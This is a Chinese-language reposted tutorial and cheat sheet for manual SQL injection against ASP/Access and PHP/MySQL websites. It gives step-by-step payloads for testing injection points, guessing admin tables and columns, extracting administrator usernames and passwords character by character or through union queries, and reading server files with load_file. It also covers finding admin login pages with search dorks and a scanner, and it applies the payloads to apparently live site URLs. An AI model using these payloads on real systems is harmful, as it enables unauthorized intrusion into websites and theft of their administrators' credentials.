文档视界 最新最全的文档下载
当前位置:文档视界 › asp和php手工注入语法

asp和php手工注入语法

ASP手工注入表
基本:


猜测是否存在漏洞
===============================
and 1=1 返回正常页面
===============================
and 1=2 返回错误页面
===============================
and 1=2 返回错误页面
编号:
ADODB.Field 错误 ‘800a0bcd‘
BOF 或 EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。
===============================
猜表
===============================
and 0<>(select count(*) from admin)
表名为admin 更具经验猜测 admin adminuser user pass password 如返回正常则存在.
===============================
猜帐号数目
===============================
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
and 2<(select count(*) from admin)
and 3<(select count(*) from admin)
and 4<(select count(*) from admin)
and 5<(select count(*) from admin)
and 6<(select count(*) from admin)
and 7<(select count(*) from admin)
and 8<(select count(*) from admin)
and 9<(select count(*) from admin)
如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
当然啦你也可以用1> 2> 来猜
===============================
猜解字段名称
===============================
and 1=(select count(*) from admin where len(username)>0)
用户字段名称(username)更具经验猜测
===============================
and 1=(select count(*) from admin where len(password)>0)
密码字段名称(password)更具经验猜测
===============================
猜解各个字段的长度
===============================
and 1=(select count(*) from admin where len(username)>0)
and 1=(select count(*) from admin where len(username)>1)
and 1=(select count(*) from admin where len(username)>2)
and 1=(select count(*) from admin where len(username)>3)
and 1=(select count(*) from admin where len(username)>4)
and 1=(select count(*) from admin where len(username)>5)
and 1=(select count(*) from admin where len(username)>6)
and 1=(select count(*) from admin where len(username)>7)
and 1=(select count(*) from admin where len(username)>8)
and 1=(select count(*) from admin where len(username)>9)
下面是密码字段的长度
and 1=(select count(*) from admin where len(password)>1)
and 1=(select count(*) from admin where len(password)>2)
and 1=(select count(*) from admin where len(password)>3)
and 1=(select count(*) from admin where len(password)>4)
and 1=(select count(*) from admin where len(password)>5)
and 1=(select count(*) from admin where len(password)>6)
and 1=(select count(*) from admin where len(password)>7


and 1=(select count(*) from admin where len(password)>8)
and 1=(select count(*) from admin where len(password)>9)
返回错误则正确
===============================
猜解字符
===============================
猜解用户
and 1=(select count(*) from admin where left(username,1)=‘a‘)
and 1=(select count(*) from admin where left(username,2)=‘ad‘)
and 1=(select count(*) from admin where left(username,3)=‘adm‘)
and 1=(select count(*) from admin where left(username,4)=‘admi‘)
and 1=(select count(*) from admin where left(username,5)=‘admin‘)
猜解密码
and 1=(select count(*) from admin where left(password,1)=‘a‘)
and 1=(select count(*) from admin where left(password,2)=‘ad‘)
and 1=(select count(*) from admin where left(password,3)=‘adm‘)
and 1=(select count(*) from admin where left(password,4)=‘admi‘)
and 1=(select count(*) from admin where left(password,5)=‘admin‘)
返回正常则正常
===============================
命令:select
中文意思:选择
说明:用于找出合乎条件的记录
===============================
加总函数:COUNT
中文意思:数量
说明:用于求指定的数量
===============================
子句:FROM
中文意思:数据表
说明:用于指定数据表
===============================
子句:where
中文意思:条件
说明:用于设定条件
===============================
运算符:AND
中文意思:并且
说明:逻辑且
===============================
TOP --取出前面的指定长度数据
select top 10 * from .....
===============================
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 这个查询语句可以猜解中文的用户和密码.只要大家把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.



数字型手工注入:

数字型手工注入站点教程:
目标站点:https://www.docsj.com/doc/9a10048821.html,/
注入漏洞:https://www.docsj.com/doc/9a10048821.html,/2s.asp?districtid=35&classificationid=17&id=60
第一步:检测是否又注入点!
1、’ 返回异常
2、and 1=1 返回正常
3、and 1=2 返回异常
第二步:猜解数据库表名!
and exists (select * from admin)
返回正常说明存在admin表。同理可以把admin换成其他的慢慢猜解数据库表名比如X_admin administrator 等
第三步:猜解用户名和密码列名!
and (select count (admin) from admin)>=0
返回正常存在username列名!
and (select count (password) from admin)>=0
返回正常存在password列名!
第四步:猜用户名和密码的长度!
and (select top 1 len(username) from admin)

>0
依次将零改成1,2,3,4,5,6。。。。。。等,直到返回错误,
如>5时返回错误,说明username长度为5!
密码同样!
第五步:猜解用户名密码
and (select top 1 asc (mid(username,N,1)) from admin)>0
N为所猜解的长度,这里是猜解username的,从上一步得知长度为5,那么N的最大值便是5!把N从1改到5!指一个字母一个字母的猜解
下面是0的修改方法,随便的,你猜解时分别改为10、20、30、40、50、60、70。。。。。。
同上面一样,到那一个返回错误为止,那么第一个字母的就介于他们中间。如:到100时返回错误,那么第一个字母就介于90---100之间,然后渐渐的减少。把零换成99、98、97、96。。。。。。如果到96时返回正常,而97时返回错误,那么第一个字母就是97,然后用ASC码逆转换器转换一下,就可以知道这个字母是什么了!至此我们可以扫描后台了!
第六步:扫描后台
Googlehacking
Site:https://www.docsj.com/doc/9a10048821.html, inurl:admin.asp
这里一般能够知道后台地址的,或则换成其他的。都行前面的https://www.docsj.com/doc/9a10048821.html,是你手工的站的域名,不要加http:// ,后面的admin.asp可以换成其他的,你们自己选,反正看后台而定,一般后台都是admin.asp、admin_login.asp、admin\index.asp等等。大家自由发展!
用wis扫描后台,在DOS下运行wis扫描后台
格式如下:
wis https://www.docsj.com/doc/9a10048821.html,/ /a


sql注入之asp手工注入:

发现注入点
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57‘
返回数据库出错
http://www. .com/shownews.asp?id=57 and 1=1
正常
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 and 1=2
同样返回数据库出错
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 and exists (select * from sysobjects)
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 and exists (select * from msysobjects)
均返回数据库出错,应该就是access的数据库了下面来猜表和字段
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 and exists (select * from admin)
返回正常,呵呵,幸运啊,存在admin表,后台用户名和密码就应该在这里面了
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 and exists (select name from admin)
数据库出错,看来没有name这个字段,继续
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 and exists (select username from admin)
返回正常,存在username这个字段
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 and exists (select password from admin)
返回正常,存在password这个字段
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 and exists (select id from admin)
返回正常,存在id这个字段
下面猜管理员的id
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 and exists (select id from admin where id=1)
数据库出错
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 and exists (select id from admin where id=2)
数据库出错
……
https://www.docsj.com/doc/9a10048821.html,

/shownews.asp?id=57 and exists (select id from admin where id=16)
直到猜到16时才返回正常页面,累死我了,要是id值很大的话估计够呛,现在看来第一个管理员的id为16,如果还有其他的管理,还可以继续猜
猜到这,下面的应该就没有什么问题了,猜用户名长度,再猜每个字符对应的ascii码,转换就得到用户名。密码同理。感觉太麻烦,如果用户名是中文的话估计就又复杂了。我们试试能不能利用union查询让它自己暴出用户名和密码
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 union select 1 from admin
数据库出错,继续
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 union select 1,2 from admin
数据库出错
……
https://www.docsj.com/doc/9a10048821.html,/shownews.asp?id=57 union select 1,2,3,4,5,6,7,8,9,10,11 from admin
直到这里才不提示数据库出错,页面显示字段为2,3
下面我们来得到管理员的用户名和密码

详解php手工注入拿webshell





1.认识注入类型

不管是asp.aspx.php,注入的标准类型必为
https://www.docsj.com/doc/9a10048821.html,/aa.asp?p=xxx
https://www.docsj.com/doc/9a10048821.html,/aa.aspx?p=xxx
https://www.docsj.com/doc/9a10048821.html,/aa.php?p=xxx

2.判断是否存在注入
不管是asp.aspx.php,注入点的判断都是这样的
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=1返回正常页
http://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=2,返回错误页

存在注入

3.猜解准确字段数
(不明白原理的请多看看这方面的文章,这只讲实际运用)
利用union来查询准确字段,如: and 1=2 union select 1,2,3,.......直到返回正常,说明猜到准确字段数。如过滤了空格可以用 /**/代替。

https://www.docsj.com/doc/9a10048821.html,:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7
https://www.docsj.com/doc/9a10048821.html,:81/news.php?id=780/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7

记下这个位置,3 和5

4.mysql也有内置变量,可以帮助我们获得更多信息
version()(4.0.21-nt)返回当前数据库版本信息,database(){db_xxx_org_cn} 返回当前数据库名,user(),{tt1330@localhost}返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西

现在就在3和5这插入
https://www.docsj.com/doc/9a10048821.html,:81/news.php?id=780%20and%201=2%20union%20select%201,2,version(),4,5,6,7
Load_file可以返回文件的内容
(1),读取系统信息
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary plex" multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary plex"

(2)读取php配置信息

我们转化一下,
load_file('c:\boot.ini')=load_file(char(99,58,92,98,111,111,116,46,105,110,105))


5.准确猜解表
如: and 1=1 union select 1

,2,3,4,5,6.... from user 如果返回正常说明存在这个表。
https://www.docsj.com/doc/9a10048821.html,:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from admin
说明没有admin表
https://www.docsj.com/doc/9a10048821.html,:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from user
正常说明有这个表

6.猜解表中的字段
and 1=1 union select 1,username,3,4,5,6.... from user/*如果字段显示出字段内容则存在些字段。
https://www.docsj.com/doc/9a10048821.html,:81/news.php?id=780 and 1=1 union select 1,2,user,4,5,6,7 from user
https://www.docsj.com/doc/9a10048821.html,:81/news.php?id=780 and 1=1 union select 1,2,name,4,5,6,7 from user
有字段name
同理再猜解password字段,猜解成功再找后台登录。
https://www.docsj.com/doc/9a10048821.html,:81/news.php?id=780 and 1=1 union select 1,2,pass,4,5,6,7 from user
https://www.docsj.com/doc/9a10048821.html,:81/news.php?id=780 and 1=1 union select 1,2,pwd,4,5,6,7 from user
有字段pwd


7.暴管理员的用户名,密码是多少
https://www.docsj.com/doc/9a10048821.html,:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7 from user
https://www.docsj.com/doc/9a10048821.html,:81/news.php?id=780 and 1=2 union select 1,2,pwd,4,name,6,7 from user




相关文档